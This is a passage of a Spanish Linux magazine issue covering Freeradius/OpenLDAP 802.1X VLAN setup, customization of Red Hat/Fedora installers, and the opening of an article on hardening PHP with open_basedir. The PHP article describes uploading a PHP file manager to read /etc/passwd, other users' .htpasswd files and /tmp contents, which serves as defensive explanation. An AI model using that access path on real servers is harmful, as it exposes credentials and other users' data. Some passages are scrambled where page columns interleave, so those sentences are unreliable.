OpenLDAP [5] es una buena opción como respaldo para Freeradius (ver Figura 2). Encontrará un buen HOWTO con la combinación Freeradius y OpenLDAP por Dustin Doris en [6]. La documentación de Freeradius también tiene un ejemplo en un documento de texto denominado doc/rlm_ldap. Sin embargo, hay un problema con la configuración conjunta con LDAP: RadiusLDAPv3.schema (que también está situado bajo el directorio de doc) no es estructural, esto es, sólo funciona en conjunción con algún otro esquema, por ejemplo, inetorgperson.schema. En contraste a esto, el esquema de [6] está diseñado específicamente para usarlo con Radius, pero no entiende el tipo de extensiones necesarias para las operaciones diarias. Para permitir a Freeradius que entienda las respuesta relacionadas con lo que devuelve la VLAN por la base de datos LDAP, tenemos que añadir
Por supuesto que el protocolo Radius puede dar más que un simple mensaje como respuesta. Puede darle el número de una VLAN, por ejemplo, permitiendo al switch evaluar el número y aceptar los clientes en la VLAN requerida. Para permitir que esto ocurra, necesitaremos añadir la respuesta de Radius a la configuración de prueba del usuario. Nótese que el valor que devuelve necesita estar separado por comas y sangrado con caracteres de espacios. usuarioprueba Auth-Type := Local, U User-Password == "contprueba" Reply-Message = "Hola, %u", Tunnel-Medium-Type = IEEE-802, Tunnel-Private-Group-Id = 1, Tunnel-Type = VLAN
Esto le dice al switch que asigne la VLAN 1 al usuarioprueba después de autenticar al usuario. Los admi-
Listado 1: Mapeando Atributos 01 r e p l y I t e m T u n n e l - T y p e radiusTunnelType 02 replyItem Tunnel-Medium-Type radiusTunnelMediumType 03 replyItem Tunnel-Private-Group-Id radiusTunnelPrivateGroupId
62
Número 05
OpenLDAP
Listado 3: Referencia VLAN 01 dn:uid=testuser2,ou=users, ou=radius,dc=domain,dc=de 02 uid: testuser2 03 userPassword: password 04 objectClass: radiusprofile 05 objectClass: top 06 radiusProfileDn: uid=vlan_02,ou=profiles,ou=rad ius,dc=domain,dc=de
WWW.LINUX- MAGAZINE.ES
mapeado (ldap.attrmap) a nuestra configuración de Radius (Listado 1). La Figura 3 muestra la estructura del directorio LDAP. El perfil (ou = profiles) contiene las configuraciones de la VLAN. El Listado 2 nos da el fichero LDIF para uid = vlan_02 (ver línea 1). Para la configuración de usuario (ou = users), simplemente necesitaremos una referencia al perfil con el que se corresponde en la VLAN (Listado 3, línea 6). Ahora, el servidor Radius sólo necesitará saber que puede acceder a LDAP para la gestión de usuarios. El fichero de configuración radiusd.conf se encarga de esto. El ejemplo del Listado 4 le dice a Radius que se registre en el servidor LDAP, ldap.domain.de, (línea 3) con la identidad identity configurada y la contraseña password (líneas 4 y 5) y para autenticar usando el filtro filter con el atributo de contraseña password_attribute (líneas 7 y 10). Si esto funciona, el servidor LDAP devolverá el parámetro en el perfil correspondiente (mapeado como radiusProfileDn para el usuario). Una nueva entrada DEFAULT en la gestión de usuario de Radius (fichero:users) se asegura de que se intente la autenticación utilizando EAP: DEFAULT Auth-Type == EAP Fall-Through = yes
Aún necesitaremos preparar a los clientes para la autenticación 802.1X. El Proyecto Open 1X de [7] ha desarrollado software para Linux para manejar esto. Windows 2000 SP4 y WinXP SP1 tienen funciones de autenticación nativas para este propósito. Además Windows 2000 necesita lanzar el servicio Wireless Configuration.
Clientes Windows Hay un campo de Autenticación en las propiedades de conexión a la red. Introduciendo EAP con el tipo requerido (MD5, PEAP o TLS) en este campo. Los usuarios pueden especificar cómo el sistema responderá si las credenciales de un usuario no están disponibles, que es el caso de antes de hacer login. Si selecciona esta opción, el ordenador intentará registrarse en la red utilizando su nombre de cliente. En contraste a la opción EAP/MD5, PEAP y TLS proporcionan opciones adi-
Radius y 802.1X• ADMINISTRACIÓN
01 dn:uid=vlan_02,ou=profiles, ou=radius,dc=domain,dc=de 02 uid: vlan_02 03 radiusTunnelMediumType:IEEE-80 2 04 radiusTunnelType: VLAN 05 radiusTunnelPrivateGroupId: 2 06 objectClass: radiusprofile 07 objectClass: top
cionales. Los usuarios tienen que especificar el certificado CA que los clientes deberían de aceptar. Windows también puede usar el nombre de la cuenta y la contraseña desde el login de Windows para la autenticación PEAP. Esta entrada está localizada en las opciones de autenticación avanzada. Sin embargo, en este caso el sistema utiliza una combinación Dominio/Nombre de usuario. Si no estamos seguros, la
Listado 4: Configuración de Radius 01 modules { 02 ldap { 03 server = "ldap.domain.de" 04 identity = "cn=freeradius,ou=admins,ou=ra dius,dc=domain,dc=de" 05 password = secret 06 basedn = "ou=users,ou=radius,dc=domain, dc=de" 07 filter = "(&(uid=%{Stripped-User-Name:%{User-Name}})(objectclass = radiusprofile))" 08 start_tls = no 09 dictionary_mapping
intenten registrarse en el dominio. Esto ocasiona el fallo del intento de registro. El servidor de dominio necesitará estar en una VLAN abierta y estándar para permitir a los suplicantes de Windows funcionar, pero esto contraviene los principios básicos de seguridad. Hay unos cuantas herramientas que resuelven este problema proporcionando suplicantes 802.1X propios. Estos clientes apoyan una configuración mucho más granular - permitiendo que los clientes se integren en el proceso de registro del dominio. El proceso de registro Figura 3: Esta estructura de directorios LDAP contiene la entonces comienza con la administración de usuarios y otros perfiles para la configuautenticación del usuario ración de la VLAN. En cada perfil de usuario hay una entrada contra la red basada en a radiusProfileDn que indica la correspondencia con el perfil 802.1X y llega a manejar el de la VLAN. login normal de Windows. Sin embargo, algunos provariante exacta se registrará en los gramas tienen una búsqueda interficheros de log del servidor Radius minable, así que hay probarlos antes de después del primer intento de registro. comprarlos. Para entender este formato, Radius neceClientes y Servidores sita unos cuantos retoques. Para aprenbasados en Linux der más sobre este asunto, recomendamos el libro sobre Radius disponible Encontrará una herramienta software en [8]. 802.1X madura para clientes Linux en [7]. Esta herramienta debería hacer más Recién Llegados… fácil el acceso a ordenadores Linux a su Los clientes de Microsoft 802.1X tienen red. un problema básico. Primero se registran El servidor Freeradius tiene una gran en su propio dominio y luego se autentivariedad de opciones para la autentican en la red. Pero la red no está cación de usuarios y la configuración de disponible para los clientes mientras acceso basada en los requerimientos de
WWW.LINUX- MAGAZINE.ES
=${raddbdir}/ldap.attrmap password_attribute = userPassword 11 } 12 } 13 14 authorize { 15 preprocess 16 ldap 17 eap 18 suffix 19 files 20 } 21 authenticate { 22 eap 23 } 10
su red. El ejemplo que hemos visto en este artículo es tan sólo una de muchas posibles configuraciones. Ya que esta configuración utiliza un servicio de directorio para la gestión de usuarios, los diseños de seguridad también están disponibles para redes de gran escala donde el peligro de ataques internos es ■ particularmente severo.
RECURSOS [1] Interopnet Labs, “¿Qué es 802.1X?”: http://www.ilabs.interop.net/ WLANSec/What_is_8021x-lv03.pdf [2] Freeradius y Windows XP: http://text. broadbandreports.com/forum/ remark,9286052~mode=flat [3] TinyCA: http://tinyca.sm-zone.net [4] Freeradius: http://www.freeradius.org [5] OpenLDAP: http://www.openldap.org [6] Freeradius y OpenLDAP:http://doris. cc/radius/ [7] Código abierto de la implementación de 802.1X: http://www.open1x.org [8] Radius - Securing Public Access to Private Resources, by Jonathan Hassell; O’Reilly, 2002.
EL AUTOR
Listado 2: LDIF para VLAN 2
Michael Schwartzkopff trabaja para Multinet Services GmbH como consultor de seguridad y redes (especializado en SNMP). Se enganchó a Linux en 1994 después de trabajar con la distribución de Yggdrasil.
Número 05
63
ADMINISTRACIÓN • Instalación Red Hat
Personalizacón de la instalación de Red Hat
HECHO A MEDIDA
Hay quien sólo desea poner el CDROM en el lector y contestar a las preguntas. Este grupo de personas seguramente está contento con el método de instalación de Red Hat. Pero hay a quienes le gusta hacer las cosas a su modo y que están buscando como conseguir un resultado más idóneo. En este artículo mostraremos como conseguirlo. POR ARMIJN HEMEL
A
unque hay más de 300 distribuciones de Linux, se da el caso de que las distribuciones más usadas son miembros de la familia Red Hat: Red Hat Linux, Fedora, Red Hat Linux Enterprise, y distros derivadas de las Red Hat tales como White Box Linux. Una queja común sobre Red Hat es que es inflexible; instala demasiado software y el proceso de configuración no permite mucha personalización. Esta punto de vista es mantenido especialmente por usuarios de distribuciones que precisamente son conocidas por tener una instalación altamente personalizable. A pesar de esta opinión, Red Hat es de hecho muy flexible cuando se trata de la personalización. En este artículo se dará un vistazo a varios métodos para personalizar la instalación de Red Hat, desde decidir que paquetes se instalarán por omisión, hasta rehacer el instalador por completo.
64
Número 05
Antes de comenzar la personalización de Red Hat Linux, es necesario zambullirse un poco en las profundidades del proceso de instalación de Red Hat. El proceso de inicialización de Red Hat está dividido en 2 etapas.
Instalación Linux
de
Red
Hat
La primera etapa consiste en la inicialización de Linux y la creación de un disco RAM, que es lo suficientemente grande para realizar la instalación y preparar todo lo necesario para la segunda etapa. En la segunda etapa, el instalador de Red Hat, Anaconda, arranca en modo gráfico completo para la instalación desde el CD (incluso si todos los paquetes se descargan desde la red) o en modo texto para la instalación completamente basada en red a través de disquetes. En el resto del artículo sola-
WWW.LINUX- MAGAZINE.ES
mente se considerará la instalación gráfica. En algún momento durante el proceso de instalación se le pide al usuario que, subdivididos en categorías, elija los paquetes que se instalarán. Entonces el usuario podrá decidir instalar algunos paquetes o categorías extra o dejar algo fuera. La lista de paquetes y categorías no es inmutable ni está compilada dentro del instalador, sino que se genera en tiempo de ejecución mediante la lectura de un archivo XML, que se llama comps.xml, que describe los grupos de paquetes y los paquetes que le pertenecen. La estructura del archivo XML es bastante clara. Hay un elemento de nivel superior, la etiqueta comp, que tiene un cierto número de hijos con la etiqueta group. Llama la atención que Anaconda no muestra todos los grupos mencionados
Instalación Red Hat• ADMINISTRACIÓN
en el archivo comps.xml. Los grupos y paquetes obligatorios, tales como el grupo core, necesitan ser instalados de todas formas, así que no tiene mucho sentido ofrecerlos como opción al usuario. Cada grupo tiene una etiqueta llamada unservisible, que Anaconda utiliza para determinar si un grupo debe ser mostrado o no. Un programa del tipo arranque rápido, que no se verá aquí, también puede hacer uso de los nombres de estos grupos. Después de haber instalado una distribución basada en Red Hat, debería haber un archivo de arranque rápido llamado anaconda-ks.cfg en el directorio home del usuario root. En la sección %packages de este archivo, se pueden encontrar identificadores de grupo de comps.xml utilizando el símbolo @ como prefijo. Cada packgereq tiene un atributo extra denominado type, con tres posibles valores: mandatory, default y optional, por ejemplo: <packagereq type="default">U vim-common</packagereq>
Los paquetes marcados como mandatory serán instalados de manera predeterminada pero nunca se muestran como opción al usuario, mientras que los otros dos tipos si. Los paquetes marcados como default serán seleccionados cuando se elige la categoría y pueden ser deseleccionados. Los paquetes marcados con optional no se seleccionan pero pueden serlo. Mediante un simple cambio en estos atributos se puede controlar qué se instalará de una determinada categoría. Las dependencias de los paquetes las gestiona Anaconda internamente, así que no es necesario proporcionar una lista exhaustiva de las dependencias para cerciorarse de que se instalan todos los paquetes necesarios. Aunque esto solo es así para las versiones posteriores a Red Hat 9. Para Red Hat 9 o anteriores, es necesario algo de trabajo adicional, pero como estas versiones son verdaderamente obsoletas, no se entrará en ello. Las dependencias de los paquetes están descritas en dos archivos, hdlist y hdlist2, que se pueden encontrar en el mismo directorio del árbol de instalación
que comps.xml. Más tarde se vera como se pueden generar estos archivos a partir de una colección de archivos RPM. Después de que el usuario haya seleccionado los paquetes, Anaconda descubrirá las dependencias para todos los paquetes seleccionados utilizando hdlist y hdlist2, construirá una lista de paquetes a instalar y finalmente instalará los paquetes. Así que con solo cambiar comps.xml ya es posible realizar un montón de retoques. La manera más fácil de probar los cambios es realizar una instalación en red. Solamente hay que configurar un servidor FTP en la red con una copia completa de Fedora Core (por ejemplo el Fedora Core 3 que acompañaba al número 1 de la revista), al estilo de los mirrors oficiales. Fedora proporciona una imagen ISO con la que se obtiene un CDROM arrancable para la instalación. La ventaja del CDROM sobre los disquetes es que con el CDROM se puede iniciar el instalador gráfico, pero desde los disquetes solamente funcionará el instalador en modo texto. Tras modificar el archivo comps.xml, se debe sobreescribir el archivo comps.xml que se encuentra en $arch//Fedora/base con el archivo modificado; donde $arch puede ser i386 ó x86-64, dependiendo de la arquitectura que se tenga. Entonces se tuesta un CDROM con la imagen de arranque boot.iso para conseguir un instalador completamente gráfico donde, al utilizarlo para comenzar la instalación, se podrán observar los cambios realizados y que apuntará al directorio correcto en el servidor FTP que se ha preparado.
Adición de Paquetes El método mencionado más arriba funciona, pero está limitado a los paquetes que están en la distribución. Si se desea añadir paquetes que no están en la distribución, es necesario hacer algunas tareas extra. Recuerde que Anaconda resuelve las dependencias por sí misma utilizando los dos archivos hdlist y hdlist2. Añadir solamente paquetes a comps.xml no funciona. El instalador utiliza explícitamente hdlist y hdlist2. Afortunadamente regenerar hdlist y hdlist2 no es complicado. Antes de comenzar es necesario instalar algunos paquetes:
WWW.LINUX-MAGAZINE.ES
• comps-extras • anaconda • anaconda-runtime La herramientas de desarrollo en estos paquetes esperan trabajar sobre una estructura de árbol que debería tener la siguiente disposición: i386/ i386/Fedora/ i386/Fedora/RPMS/ i386/Fedora/SRPMS/ i386/Fedora/base/
Lo siguiente que se necesita es configurar algunas variables que las herramientas esperan encontrar: export BASE=<directorio padre U de nuestro árbol de instalación> export PYTHONPATH=/usr/lib/U anaconda export PATH=$PATH:/usr/lib/U anaconda-runtime
El directorio RPMS de la estructura del árbol se ha de rellenar con los RPMs de Fedora y con los RPMs adicionales que se quieran instalar. Para generar hdlist y hdlis2 hay que ejecutar la siguiente orden: genhdlist --productpath=U Fedora $BASE/i386
El productpath predeterminado para casi todas las herramientas es redHat, pero este ajuste se puede eliminar en la línea de ordenes si se desea cambiar la marca de la distribución. Antes de poder utilizar estos ficheros se han de dar un par de pasos más. Uno de estos pasos es determinar el orden de los paquetes a instalar. Anaconda instala los paquetes más importantes primero. Sin esta información, no podrá instalarlos y el proceso de instalación abortará. Para generar el archivo pkgorder, se debe copiar el archivo comps.xml modificado a $BASE/i386/Fedora/base y ejecutar la siguiente orden: pkgorder $BASE/i386 i386 U Fedora > $BASE/pkgorder.txt genhdlist --fileorder $BASE/U pkgorder.txt --productpath=U Fedora $BASE/i386/
Como paso final, se copiaran todos los paquetes RPM adicionales al directorio
Número 05
65
ADMINISTRACIÓN • Instalación Red Hat
correcto del servidor FTP y se sobrescribirá comps.xml, hdlist y hdlist2 con las copias modificadas. Se podrá iniciar una instalación nueva con un CDROM de instalación. Una de las cosas que hay que tener presente es que en primer lugar hay que cerciorarse de que los RPMs que se han agregado se instalen limpiamente en el sistema. No tiene ningún sentido utilizar RPMs que no se instalan correctamente ¡Hay que probar siempre que los paquetes realmente funcionan antes de comenzar a agregarlos!
CDROMS a Personalizados Hasta ahora solamente se ha utilizado el FTP para instalar la nueva distribución, pero a menudo es mucho más conveniente la instalación desde una imagen de CDROM. Crear imágenes CDROM es ligeramente diferente comparado con el proceso que se ha visto anteriormente. Una vez más se comienza creando hdlist y hdlist2 y determinando el pkgorder: genhdlist --productpath=Fedora U $BASE/i386/ pkgorder $BASE/i386 i386 U Fedora > $BASE/pkgorder.txt
A continuación, se reconstruye la imagen de arranque: buildinstall --pkgorder $BASE/U pkgorder.txt --comp dist-3 U --product Fedora --version 3 U --release "applepie" --prodU path Fedora $BASE/i386
Para que buildinstall funcione adecuadamente, se ha de instalar dos paquetes adicionales: • netpbm-progs • syslinux Ambos paquetes contienen herramientas que se usan en uno de los guiones para convertir archivos PNG (como los que se pueden encontrar en el paquete fedora-logos) a archivos .lss para el fondo de pantalla (bootsplash) en el momento del inicio. Si no se instalan estos paquetes, las imágenes se harán, pero fallaran al iniciar. Otra herramienta que será necesario instalar es mkisofs, porque se usa para realizar la imagen boot.iso. Desafortunadamente, el guión no comprueba si
66
Número 05
está instalada y puede ocurrir que si no encuentra la herramienta, continuará tan ricamente. Debido a que la distribución no cabe en un solo CDROM, se debe dividir adecuadamente:
ellos, puede ser una buena idea ejecutar la pcomprobación. La prueba funciona por medio de la implantación de una suma MD5 en el archivo ISO:
splittree.py --arch i386 U --total-discs 8 --bin-discs 4 U --src-discs 4 --release-string U "Fedora" --pkgorderfile U $BASE/pkgorder.txt --distdir U $BASE/i386 --srcdir U $BASE/i386/Fedora/SRPMS U --productpath Fedora
Antes de tostar la ISO al CDROM, se puede comprobar con la herramienta checkisomd5:
Además hay que estar totalmente seguro de que los archivos en RPMS y SRPMS son archivos RPM o los guiones fallaran. Como la distribución está dividida, una vez más hdlist y hdlist2 no son del todo correctos y habrá que reconstruirlos de nuevo, en esta ocasión con la información especifica sobre el CDROM que contiene un determinado paquete: genhdlist --fileorder U $BASE/pkgorder.txt U --withnumbers U --productpath=Fedora U $BASE/i386-disc[1-4]
¡La numeración es importante! Sin ella, el instalador no sabrá de que CDROM debe obtener un paquete en particular y no quedará más remedio que estar intercambiando los discos un montón de veces. Después de eso, se pueden hacer las imágenes ISO y tostar los CDROMS. El primer CDROM debe hacerse arrancable: mkisofs -b isolinux/isolinux.U bin -c isolinux/boot.cat -J U -p "info@example.org" -V U "Fedora disc 1" -r -T -v -A U "Fedora/i386 1" -o ../Fedora-U disc1.iso -no-emul-boot -boot-U load-size 4 -boot-info-tableU i386-disc1
Los otros CDROMs se pueden tostar sin las opciones de arranque. Si se ha instalado Fedora alguna vez, probablemente habrá visto el comprobador de CDROM (¡y se lo habrá saltado!). En algunas ocasiones, con unidades lectoras destartaladas o con medios demasiado baratos como para confiar en
WWW.LINUX- MAGAZINE.ES
implantisomd5 Fedora-disc1.iso
checkisomd5 --verbose Fedora-U disc1.iso
Si se decide utilizar el checksum (lo cual es altamente aconsejable), Hay que asegurarse de que se tuesta el CDROM de la manera adecuada. El checksum fallará si el CDROM es tostado como “track at once” (aunque se instalará correctamente), así que se debe tostar como “disk at once” o “session at once”.
Reconstrucción de comps.rpm Cuando se mencionó que había que sobreescribir algunos archivos en el directorio $arch/Fedora/base del servidor de FTP que se ha preparado, se ignoró deliberadamente el archivo comps.rpm. Aunque sea utilizado por Anaconda, no es trascendental en la instalación. Sin embargo, cuando el sistema esté listo y funcionando, se utiliza para instalar software a través de las entradas del menú para añadir y eliminar software. Esto se puede comprobar añadiendo unos cuantos paquetes a la distribución como se acaba de describir, lanzando system-config-packages desde la línea de comandos o a través del menú y comprobando que en el menú no se muestra el software extra. De hecho, se ha usado el archivo predeterminado comps.rpm. El archivo comps.rpm se crea en pocos pasos. La razón para que no se haga de un tirón es porque cada trocito de la información necesaria para ello no está disponible de antemano, por ejemplo qué paquete está en qué CDROM. Debido a que el archivo comps.rpm también tiene que estar en el CDROM (y de esta manera influye en cosas tales como qué paquetes están distribuidos en los CDROMs), es un poco como el problema del huevo y la gallina. Fedora proporciona un archivo llamado spec-file con el que se pueden regenerar los archivos comps.rpm.
Instalación Red Hat• ADMINISTRACIÓN
%define basedir U /path/to/$BASE/i386/Fedora/base %define compsversion <version>
En el caso de Fedora Core 3, compsversion debera ser 3. Obviamente los RPM deberán estar en los CDROMs y deben mencionarse en los archivos hdlist y hdlist2 para que Anaconda los encuentre durante la instalación. Es necesario que estos archivos estén en el RPM, así que hay que crear un marcador RPM. Primero se generan hdlist y hdlist2: genhdlist --productpath=Fedora U $BASE/i386
El guión interno de spec-file espera que estén allí algunos archivos, incluido un archivo llamado .discinfo. El problema es que este archivo no se crea hasta que no se ejecute splittree.py. Se salva este escollo simplemente tocando el archivo: touch $BASE/i386/.discinfo
A continuación se construye el RPM: rpmbuild -bb comps-fedora.U spec
Se copia el resultado de RPM a $BASE/i386/Fedora/RPMS y se vuelve a ejecutar: genhdlist --productpath=Fedora U $BASE/i386
para añadirlo a hdlist y hdlist2. Por supuesto que esto es solo una simulación y no puede ser incluido. De hecho , system-config-packages rehusará funcionar debido a que el archivo .discinfo está vacío. Tras haber dividido la distribución y reconstruido hdlist y hdlist2 para incluirlo en el primer CDROM, según se mostró anteriormente, el comps.rpm debe ser reconstruido, pero con el basedir configurado como /ruta/a/$BASE/i386disc1/Fedora/base: rpmbuild -bb comps-fedora.spec
y copiado sobre el antiguo marcador RPM, lo mismo que para el directorio base para el primer CDROM: cp comps-<somedate>.rpm U $BASE/i386-disc1/Fedora/U base/comps.rpm
Hay que resaltar que se ha renombrado comps.rpm ya que Anaconda espera encontrarlo allí durante la instalación.
Reconstrucción el Instalador Aunque la instalación pueda ser retocada con solo editar el archivo comps.xml y añadiendo o quitando paquetes a la distribución, aún hay casos donde esto no es suficiente. Un ejemplo podría ser cuando se tienen dos tipos de equipos que son muy similares, pero ligeramente distintos, por ejemplo un equipo de sobremesa sin el compilador y las fuentes del núcleo y otro equipo de sobremesa con el compilador y las fuentes del núcleo. Aunque es posible realizar esto sólo con modificar comps.xml, esta solución es incomoda y da un montón de trabajo. Es mucho más fácil añadir (o eliminar) objetivos de instalación en el mismo Anaconda. Las fuentes de Anaconda están disponibles como fuente RPM o a través de CVS. En el árbol de fuentes, hay un directorio llamado installclasses con algunos archivos en Python. Estos archivos describen los objetivos de instalación, tales como Personal Workstation o server y se usan en tiempo de ejecución para generar la lista de clases que se pueden elegir durante una instalación. Añadir una clase propia es bastante simple: Solamente hay que copiar o adaptar una clase ya existente. Hay bastantes opciones que se pueden retocar en estas clases, por ejemplo si se salta o no toda la selección de paquetes o si se usa o no la selección de paquetes predeterminada. En una installclass hay algunas cosas que se pueden ignorar. El método setGroupSelection se utiliza para la selección de paquetes. Para añadir un grupo, se indica su ID de grupo desde comps.xml. La variable sortPriority se utiliza para determinar el lugar donde la clase de la instalación obtiene en la descripción de clases de instalación. El id y el name
WWW.LINUX- MAGAZINE.ES
también se deben cambiar en la installclass modificada. Por ultimo, hay que reconstruir el RPM. La manera más fácil de hacer esto es empaquetar las fuentes (modificadas) dentro de un tarball y ejecutar sobre él rpmbuild: tar jcvf U anaconda-10.1.0.2.tar.bz U anaconda-10.1.0.2
Para poder usar el instalador con las nuevas clases, es necesario copiar los RPMs que se han creado al directorio RPM antes de completar la instalación de las imágenes.
Creación de Distro a Medida El nivel más alto de personalización es crear una distribución propia. Si de verdad se quiere esto y además distribuirla, hay que tener presente que algunos archivos en Fedora (como el trabajo artístico, logos, etc) tienen derechos de copia y se han de reemplazar. Aparte de los temas legales relacionados con las marcas registradas y los derechos de copia, hay otras cuestiones a considerar antes de comenzar una distribución propia, tales como la forma en que se pretende manejar las actualiza■ ciones y el servicio de soporte.
RECURSOS [1] Red Hat: http://www.redhat.com/ [2] Proyecto Fedora: http://www.redhat. com/fedora/ [3] White Box Linux: http://www. whiteboxlinux.org/howto.html [4] Documentación de Anaconda: http:// rau.homedns.org/twiki/bin/view/ Anaconda/ AnacondaDocumentationProject
EL AUTOR
El archivo spec-file no está totalmente listo para su uso. Se necesita definir dos variables:
Armijn Hemel es un estudiante de ciencias de la computación en la universidad de Utrecht (Holanda), escritor y periodista freelance y administrador de sistemas Unix.
Número 05
67
ADMINISTRACIÓN • Seguridad PHP
PHP Seguro en entornos multiusuarios
AIRBAG PARA SERVIDORES WEBS original photo: www.sxc.hu
Permitir que los usuarios instalen scripts PHP de forma arbitraria puede poner en peligro la seguridad del servidor web. Un pequeño error es todo lo que se necesita para que un atacante tenga acceso a los ficheros del sistema o la shell. Pero los administradores tienen una línea final de protección la cual utiliza las opciones de PHP para minimizar el riesgo. POR PEER HEINLEIN
L
a mayoría de los proveedores Web permiten en la actualidad la ejecución de scripts PHP. Los usuarios pueden ejecutar sus propias aplicaciones de servidor en el servidor - y exponerse ellos mismos a un riesgo mucho mayor del que puedan suponer. Sin embargo, PHP implica menos exposición al riesgo que los scripts CGI.
Agujero El Listado 1 muestra un administrador de ficheros que podemos usar para comprobar el espacio web a asegurar. Después de subir el administrador de ficheros al sitio web, podemos usarlo para tener un acceso fácil al disco duro, incluido el nivel raíz, si el intérprete de PHP nos permite llegar hasta ahí. Como el intérprete se ejecuta en el mismo contexto que el servidor web Apache, podríamos tener acceso a /etc/passwd y los directorios webs de otros usuarios, incluido los ficheros ./htpasswd almacenados en esos directorios. El directorio /tmp es también interesante ya que a menudo contiene ficheros que el administrador ha olvidado, como listados de ficheros o usuarios, volcados
68
Número 05
de la base de datos y otros ficheros con información interna. La Figura 2 muestra un posible listado. La documentación de PHP en [1] tiene ejemplos de parámetros y funciones, así como algunos capítulos sobre seguridad [2]. El antiguo pero interesante HOWTO sobre instalación de un servidor web seguro de Marc Heuse en [3] también proporciona una buena visión.
Seguridad Relativa Si esta es la primera vez que se interesa por la seguridad en PHP, probablemente se haya dado cuenta de que en el fichero php.ini hay un parámetro, cuyo nombre suena bastante prometedor, safe_mode. Esta opción le indica a PHP que realice unas comprobaciones adicionales de seguridad. Entre otras cosas, en el acceso a los ficheros, el intérprete comprueba si el ID del usuario para el fichero es el mismo que el ID del usuario para el script invocado. Esto es un intento por parte de PHP para impedir que los usuarios lean ficheros que no les pertenezca, aunque el sistema de ficheros les de permiso para leerlos.
WWW.LINUX- MAGAZINE.ES
Sin embargo, este método tiene algunos inconvenientes. Los ficheros creados por PHP en tiempo de ejecución - imágenes subidas, ficheros caché o simplemente ficheros de un libro de visitas - normalmente tienen el ID del usuario del servidor Web, a pesar de que el script PHP tenga el ID del usuario que lo subió vía FTP. En este caso, safe_mode ocasionaría problemas de accesos. La comprobación de los permisos de los ficheros es tan sólo un pequeño paso hacia la seguridad, pero tiene poca utilidad por sí misma. El parámetro no hace honor a su presuntuoso nombre. Además, existen problemas con la implementación a veces PHP no realiza comprobaciones safe_mode correctamente. La ventaja, en realidad, puede llegar a ser una desventaja, ya que los administradores pueden pensar que están a salvo [4] y no tomar ninguna otra medida de seguridad. open_basedir proporciona más protección con menos elementos. Incluso si safe_mode funciona, aún se debería con-
Seguridad PHP • ADMINISTRACIÓN
Figura 2: Un script de PHP accede libremente a un servidor inseguro. El sencillo gestor de ficheros en PHP del Listado 1 es todo lo que necesitamos para darnos un paseo por el disco.
siderar open_basedir como una precaución extra.
Open_basedir ¿Caballero de Armadura Resplandeciente? open_basedir permite a los administradores definir una o más rutas. A los
scripts PHP tan sólo se les permite acceder a ficheros en estos directorios (Figura 3). Suponiendo que php.ini tenga la entrada open_basedir = /srv/www/htdocs, PHP devolverá un error ante cualquier intento por acceder a un fichero que esté fuera de este directorio.
Figura 3: open_basedir permite a los administradores restringir los scripts PHP a los ficheros del espacio reservado del servidor. La zona del sistema de ficheros a la que el servidor virtual tiene acceso aparece resaltada en otro color.
Esta restricción al $HTDOCROOT de Apache impide el acceso al disco entero, sin embargo, los usuarios del servidor web aún pueden leer y escribir en los directorios de los demás usuarios, a menos que los permisos de los ficheros UNIX impidan que lo hagan. El navegador de ficheros del Listado 1
CGI y PHP Un programa CGI se ejecuta en el servidor como un proceso independiente. Un proceso CGI con los privilegios de accesos necesarios tiene las mismas capacidades que un proceso de usuario, incluyendo acceso al hardware y al sistema de ficheros e incluso acceso a las variables del sistema, la lista de procesos, la lista de usuarios y a muchas otras cosas más. Hay que poder confiar en sus usuarios para permitirles que ejecuten sus propias CGIs (Figura 1). Por el contrario, los scripts PHP se ejecutan en una caja de arena proporcionada por el intérprete de PHP como un componente del servicio Apache. Los entornos Linux se configuran típicamente para operaciones multiusuarios seguras, pero hay que distinguir entre los agujeros de seguridad que se puedan explotar localmente de los que se puedan explotar remotamente. Un atacante local puede ocasionar mucho más daño de lo que lo pueda hacer uno remoto y un script CGI expone al sistema a los mismos riesgos que un saboteador local.
Además, es mucho más difícil conseguir los permisos de los ficheros en un servidor web que en una aplicación de escritorio. Hay que asignar al menos permisos de lectura tanto al ID del usuario del servidor web como al usuario que crea las páginas de cualquier fichero que se publique en la web. Pero en un entorno multiusuario, incluso un simple acceso de lectura de esta clase puede ser un problema, si se necesita evitar que los usuarios externos lean las contraseñas de las bases de datos. Si hay que asignar permisos de escritura para su espacio web, por ejemplo, para los
Figura 1: En contraste, los scripts PHP se ejecutan en una caja de arena proporcionada por el intérprete de PHP, como un componente del servicio Apache.
WWW.LINUX-MAGAZINE.ES
libros de visita o galerías de imágenes, algunos HOWTO recomiendan chmod 777 - es casi un suicidio, que completamente abre los directorios y que por desgracia ha sucedido anteriormente en algunos servidores. Manteniendo los Usuarios Aparte Es más o menos imposible mantener a los usuarios separados de manera que no puedan acceder a los datos de sus vecinos usando la configuración de CGI por defecto. Con algo de esfuerzo adicional, los administradores pueden al menos impedir que los servidores FTP permitan chmod 777. Y las envolturas que proporcionan Apache para las CGIs facilitan una capa más de seguridad, asegurándose de que los programas CGI se ejecutan con el ID del usuario propietario, en vez de con los privilegios del servidor Apache. Los administradores disponen de muchas más opciones con PHP. La opción open_basedir que hemos estado viendo en este artículo le indica al intérprete de PHP que compruebe si el script tiene permiso para acceder al directorio especificado además de comprobar los permisos del fichero.
Número 05
69
ADMINISTRACIÓN • Seguridad PHP
sería capaz de producir el resultado de la Figura 2. La manera de manejar esta situación es crear un open_basedir para cada dominio albergado, o usuario, para restringir el acceso a un directorio único. Afortunadamente, PHP puede usar el parámetro php_admin_value en la definición del host virtual de Apache para imponer las restricciones necesarias (Listado 2). Para poner varios directorios, hay que separarlos por puntos y comas. Después de aplicar el nuevo nivel de seguridad y rearrancar el servidor web Apache, el servidor denegará el acceso a los directorios de los
otros usuarios, como se muestra en la Figura 4.
Apache vs. PHP La línea 10 de nuestro ejemplo permite el acceso al directorio /usr/share/php además de las carpetas en el dominio /srv/www/htdocs/www.example.com. El directorio contiene las bibliotecas comunes de PHP y los paquetes PEAR (PHP Extension and Application Repository). Por defecto, upload_tmp_dir apunta al directorio /tmp, que proporciona acceso global de escritura. Esto no es una configuración para un entorno seguro. Es importante que se asigne un directorio
temporal a cada dominio (línea 12) y que se guarde la información de cada sesión de forma individual para cada dominio (línea 13). Como la configuración para upload_tmp_dir especifica un directorio bajo srv/www/htdocs/www.example.com, el script PHP tiene acceso a pesar de las restricciones de open_basedir. Si esto no fuera así, la línea 10 también necesitaría incluir la ruta al directorio.
Validación de Entrada Los administradores a menudo subestiman el riesgo que una configuración insegura lleva asociada y de la clase de
Listado 1: Administrador de Ficheros 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
70
